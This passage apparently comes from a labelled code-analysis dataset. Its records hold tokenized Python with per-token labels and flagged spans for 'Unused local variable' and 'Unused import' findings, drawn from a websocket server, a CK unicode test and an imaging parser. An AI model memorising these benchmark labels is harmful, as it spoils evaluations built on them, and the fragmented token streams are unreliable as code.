")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "name_", "=_", "\"-", "l", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type", "\\u", "value_", "=_", "\"", "str", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "\"", "Image", " ", "contain", "ing", " ", "level", " ", "labels", " ", "for", " ", "the", " ", "target", " ", "or", " ", "str", " ", "indicati", "ng", " ", "the", " ", "level", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mandatory_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "example_", "=_", "'", "MN", "I", "-", "Poly", "-", "AM", "U", "\\u", "level", "\\u", "IR", "P", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "name_", "=_", "\"-", "reg", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type", "\\u", "value_", "=_", "[_", "[_", "','_", "]_", ",_", "'", "str", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "\"", "list", " ", "of", " ", "transformation", "s", " ", "to", " ", "appl", "y", " ", "to", " ", "co", "-", "register", " ", "the", " ", "dictionar", "y", " ", "data", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mandatory_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default", "\\u", "value_", "=_", "[_", "'", "Affi", "ne", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "example_", "=_", "[_", "'", "Sy", "N", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "name_", "=_", "\"-", "target", "-", "reg", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type", "\\u", "value_", "=_", "'", "multiple", "\\u", "choice", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "\"", "type", " ", "of", " ", "registration", " ", "of", " ", "the", " ", "target", " ", "to", " ", "the", " ", "model", " ", "space", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"(", "if", " ", "pairwise", ",", " ", "the", " ", "registration", " ", "applied", " ", "to", " ", "the", " ", "target", " ", "are", " ", "the", " ", "same", " ", "as", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", " ", "tho", "se", " ", "of", " ", "the", " ", "-", "reg", " ", "flag", ")\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mandatory_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default", "\\u", "value_", "=_", "'", "pairwise", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "example_", "=_", "[_", "'", "pairwise", "'_", ",_", "'", "group", "wis", "e", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "name_", "=_", "\"-", "seg", "-", "type", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type", "\\u", "value_", "=_", "'", "multiple", "\\u", "choice", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "\"", "type", " ", "of", " ", "segmentation", " ", "(", "gray", " ", "matte", "r", " ", "or", " ", "white", " ", "matte", "r", ")\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mandatory_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default", "\\u", "value_", "=_", "'", "wm", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "example_", "=_", "[_", "'", "wm", "'_", ",_", "'", "gm", "'_", ",_", "'", "gm", "-", "model", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "name_", "=_", "\"-", "v", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type", "\\u", "value_", "=_", "\"", "int", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "\"", "verbo", "se", ":", " ", "0", " ", "=", " ", "not", "hing", ",", " ", "1", " ", "=", " ", "classic", ",", " ", "2", " ", "=", " ", "expen", "ded", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mandatory_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default", "\\u", "value_", "=_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "example_", "=_", "'", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "arguments_", "=_", "parser_", "._", "parse_", "(_", "sys_", "._", "argv_", "[_", "1_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "input", "\\u", "target", "\\u", "fname_", "=_", "arguments_", "[_", "\"-", "i", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "param_", "._", "path", "\\u", "dictionary_", "=_", "arguments_", "[_", "\"-", "dic", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "param_", "._", "todo", "\\u", "model_", "=_", "arguments_", "[_", "\"-", "model", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\"-", "reg", "\"_", "in_", "arguments_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "param_", "._", "reg_", "=_", "arguments_", "[_", "\"-", "reg", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"-", "target", "-", "reg", "\"_", "in_", "arguments_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "param_", "._", "target", "\\u", "reg_", "=_", "arguments_", "[_", "\"-", "target", "-", "reg", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"-", "seg", "-", "type", "\"_", "in_", "arguments_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "param_", "._", "seg", "\\u", "type_", "=_", "arguments_", "[_", "\"-", "seg", "-", "type", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"-", "l", "\"_", "in_", "arguments_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "param_", "._", "level", "\\u", "fname_", "=_", "arguments_", "[_", "\"-", "l", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"-", "v", "\"_", "in_", "arguments_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "param_", "._", "verbose_", "=_", "arguments_", "[_", "\"-", "v", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "gm", "\\u", "seg", "\\u", "method_", "=_", "GM", "seg", "Supervis", "ed", "Method_", "(_", "input", "\\u", "target", "\\u", "fname_", ",_", "gm", "\\u", "seg", "\\u", "param_", "=_", "param_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "param_", "._", "verbose_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gm", "\\u", "seg", "\\u", "method_", "._", "show_", "(_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
tuxlinuxien/TwistedWebsocket/TwistedWebsocket/server.py
[ { "content": " def connectionLost(self, *args, **kwargs):\n _id = self.id\n if self.id in self.users:\n del self.users[self.id]\n self.onDisconnect()", "metadata": "root.Protocol.connectionLost", "header": "['class', 'Protocol', '(', 'BaseProtocol', ',', 'object', ')', ':', '___EOS___']", "index": 83 }, { "content": " def loseConnection(self):\n _id = self.id\n if self.id in self.users:\n del self.users[self.id]\n self.onDisconnect()\n self.transport.loseConnection()", "metadata": "root.Protocol.loseConnection", "header": "['class', 'Protocol', '(', 'BaseProtocol', ',', 'object', ')', ':', '___EOS___']", "index": 89 }, { "content": " def abortConnection(self):\n _id = self.id\n if self.id in self.users:\n del self.users[self.id]\n self.onDisconnect()\n self.transport.abortConnection()", "metadata": "root.Protocol.abortConnection", "header": "['class', 'Protocol', '(', 'BaseProtocol', ',', 'object', ')', ':', '___EOS___']", "index": 96 } ]
[ { "span": "_id ", "start_line": 84, "start_column": 4, "end_line": 84, "end_column": 7 }, { "span": "_id ", "start_line": 90, "start_column": 4, "end_line": 90, "end_column": 7 }, { "span": "_id ", "start_line": 97, "start_column": 4, "end_line": 97, "end_column": 7 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Protocol_", "(_", "Base", "Protocol_", ",_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "connecti", "on", "Lost", "_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "id_", "=_", "self_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "id_", "in_", "self_", "._", "users_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "self_", "._", "users_", "[_", "self_", "._", "id_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "on", "Disconnect", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Protocol_", "(_", "Base", "Protocol_", ",_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "lose", "Connection_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "id_", "=_", "self_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "id_", "in_", "self_", "._", "users_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "self_", "._", "users_", "[_", "self_", "._", "id_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "on", "Disconnect", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "transport_", "._", "lose", "Connection_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Protocol_", "(_", "Base", "Protocol_", ",_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "abort", "Connection_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "id_", "=_", "self_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "id_", "in_", "self_", "._", "users_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "self_", "._", "users_", "[_", "self_", "._", "id_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "on", "Disconnect", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "transport_", "._", "abort", "Connection_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ctuning/ck/tests/test_python_unicode.py
[ { "content": "#\n# Collective Knowledge (CK)\n#\n# See CK LICENSE.txt for licensing details.\n# See CK COPYRIGHT.txt for copyright details.\n#\n# Developer: Grigori Fursin\n#\n\n# CK installation test\n\nimport ck.kernel as ck\nimport sys\nimport json\n\n\nprint ('Console encoding:', sys.stdin.encoding)\nprint ('Python default encoding:', sys.getdefaultencoding())\n\nprint ('')\n\n#s1=s.encode()\n#s2=s.encode(sys.stdin.encoding)\n#print(s2)\n#print(s) #.encode(sys.stdin.encoding))\n#print ('')\n\n##############################################\nprint ('Processing test2unicode.txt ...')\nprint ('')\n\nf=open('test2unicode.txt', 'rb')\nb=f.read() # Python2: 8bits string (not unicode)\nf.close()\n\ns=b.decode('utf-8') # make it unicode (from utf-8 -> to default terminal encoding)\nprint (type(s))\n\ns1=s.encode('utf-8')\nprint (type(s1))\n\n#s2=u'\\u0420\\u043e\\u0441\\u0441\\u0438\\u044f'\n#\n#for l in range(0, len(s1)):\n# print (hex(ord(s1[l])))\n\ns2=s.encode(sys.stdin.encoding, errors='ignore')\nprint (type(s2))\n\nif sys.version_info[0]>2:\n sys.stdout.buffer.write(s2) # will write proper unicode\n sys.stdout.buffer.write(b'\\n')\nelse:\n print (s2)\n\nf=open('test2unicode_out_bin.txt','wb')\nf.write(b)\nf.close()\n\n##############################################\nprint ('Processing test2unicode.json ...')\nprint ('')\n\nif sys.version_info[0]>2:\n f=open('test2unicode.json', 'r', encoding='utf-8')\nelse:\n f=open('test2unicode.json', 'r')\ns=f.read() # read as string\nf.close()\n\nif sys.version_info[0]>2:\n d=json.loads(s)\nelse:\n d=json.loads(s, encoding='utf-8')\n\nb1=d['languages'][1].encode('utf-8')\n\nif sys.version_info[0]>2:\n sys.stdout.buffer.write(b1) # will write proper unicode\n sys.stdout.buffer.write(b'\\n')\nelse:\n print(b1)\n\nif sys.version_info[0]>2:\n de=json.dumps(d, indent=2, ensure_ascii=False)\nelse:\n de=json.dumps(d, indent=2, ensure_ascii=False, encoding='utf-8')\n\nprint('')\nb=de.encode('utf-8')\n\nif sys.version_info[0]>2:\n sys.stdout.buffer.write(b) # will write proper unicode\nelse:\n print(b)\n\nif sys.version_info[0]>2:\n f=open('test2unicode_out.json','wb')\nelse:\n f=open('test2unicode_out.json','w')\nf.write(de.encode('utf-8'))\nf.close()\n\n##############################################\nprint ('Processing input ...')\nprint ('')\n\nif sys.version_info[0]>2:\n s=input('Input string: ')\nelse:\n s=raw_input('Input string: ').decode(sys.stdin.encoding).encode('utf-8')\n print (s)\nif sys.version_info[0]>2:\n b1=s.encode('utf-8')\n# b1=s.encode(sys.stdin.encoding)\n sys.stdout.buffer.write(b1) # will write proper unicode\n sys.stdout.buffer.write(b'\\n')\nelse:\n print(s)\n\nif sys.version_info[0]>2:\n f=open('test2input.txt','wb')\n f.write(s.encode('utf-8'))\nelse:\n f=open('test2input.txt','w')\n f.write(s)\nf.close()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import ck.kernel as ck", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 22 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Collecti", "ve", " ", "Knowledge", " ", "(", "CK", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "CK", " ", "LICENSE", ".", "txt", " ", "for", " ", "lice", "nsi", "ng", " ", "deta", "il", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "CK", " ", "COPY", "RIG", "HT", ".", "txt", " ", "for", " ", "copyr", "ight", " ", "deta", "il", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Dev", "elope", "r", ":", " ", "Gri", "gori", " ", "Fur", "sin_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "CK", " ", "installation", " ", "test_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "ck_", "._", "kernel_", "as_", "ck_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'", "Cons", "ole", " ", "encoding", ":'_", ",_", "sys_", "._", "stdin_", "._", "encoding_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "Pyth", "on", " ", "default", " ", "encoding", ":'_", ",_", "sys_", "._", "getde", "fault", "encoding_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "s1", "=", "s", ".", "encode", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "s2", "=", "s", ".", "encode", "(", "sys", ".", "std", "in", ".", "encoding", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", "(", "s2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", "(", "s", ")", " ", "#.", "encode", "(", "sys", ".", "std", "in", ".", "encoding", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "(''", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'", "Process", "ing", " ", "test", "2u", "nico", "de", ".", "txt", " ", "...'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "=_", "open_", "(_", "'", "test", "2u", "nico", "de", ".", "txt", "'_", ",_", "'", "rb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "f_", "._", "read_", "(_", ")_", "#", " ", "Pyth", "on2", ":", " ", "8b", "its", " ", "string", " ", "(", "not", " ", "unicode", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "=_", "b_", "._", "decode_", "(_", "'", "utf", "-", "8", "'_", ")_", "#", " ", "make", " ", "it", " ", "unicode", " ", "(", "from", " ", "utf", "-", "8", " ", "->", " ", "to", " ", "default", " ", "termina", "l", " ", "encoding", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "type_", "(_", "s_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "s1_", "=_", "s_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "type_", "(_", "s1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "s2", "=", "u", "'\\\\", "u0", "420", "\\\\", "u0", "4", "3e", "\\\\", "u0", "441", "\\\\", "u0", "441", "\\\\", "u0", "438", "\\\\", "u0", "4", "4f", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "for", " ", "l", " ", "in", " ", "range", "(", "0", ",", " ", "len", "(", "s1", "))", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "print", " ", "(", "hex", "(", "ord", "(", "s1", "[", "l", "]))", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "s2_", "=_", "s_", "._", "encode_", "(_", "sys_", "._", "stdin_", "._", "encoding_", ",_", "errors_", "=_", "'", "ignore", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "type_", "(_", "s2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "sys_", "._", "version", "\\u", "info_", "[_", "0_", "]_", ">_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "stdout_", "._", "buffer_", "._", "write_", "(_", "s2_", ")_", "#", " ", "will", " ", "write", " ", "proper", " ", "unicode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "buffer_", "._", "write_", "(_", "b", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "s2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "=_", "open_", "(_", "'", "test", "2u", "nico", "de", "\\u", "out", "\\u", "bin", ".", "txt", "'_", ",_", "'", "wb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'", "Process", "ing", " ", "test", "2u", "nico", "de", ".", "json", " ", "...'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "sys_", "._", "version", "\\u", "info_", "[_", "0_", "]_", ">_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "'", "test", "2u", "nico", "de", ".", "json", "'_", ",_", "'", "r", "'_", ",_", "encoding_", "=_", "'", "utf", "-", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "'", "test", "2u", "nico", "de", ".", "json", "'_", ",_", "'", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "s_", "=_", "f_", "._", "read_", "(_", ")_", "#", " ", "read", " ", "as", " ", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "sys_", "._", "version", "\\u", "info_", "[_", "0_", "]_", ">_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d_", "=_", "json_", "._", "loads_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d_", "=_", "json_", "._", "loads_", "(_", "s_", ",_", "encoding_", "=_", "'", "utf", "-", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "b1_", "=_", "d_", "[_", "'", "language", "s", "'_", "]_", "[_", "1_", "]_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "sys_", "._", "version", "\\u", "info_", "[_", "0_", "]_", ">_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "stdout_", "._", "buffer_", "._", "write_", "(_", "b1_", ")_", "#", " ", "will", " ", "write", " ", "proper", " ", "unicode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "buffer_", "._", "write_", "(_", "b", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "b1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sys_", "._", "version", "\\u", "info_", "[_", "0_", "]_", ">_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "de_", "=_", "json_", "._", "dumps_", "(_", "d_", ",_", "indent_", "=_", "2_", ",_", "ensure", "\\u", "ascii_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "de_", "=_", "json_", "._", "dumps_", "(_", "d_", ",_", "indent_", "=_", "2_", ",_", "ensure", "\\u", 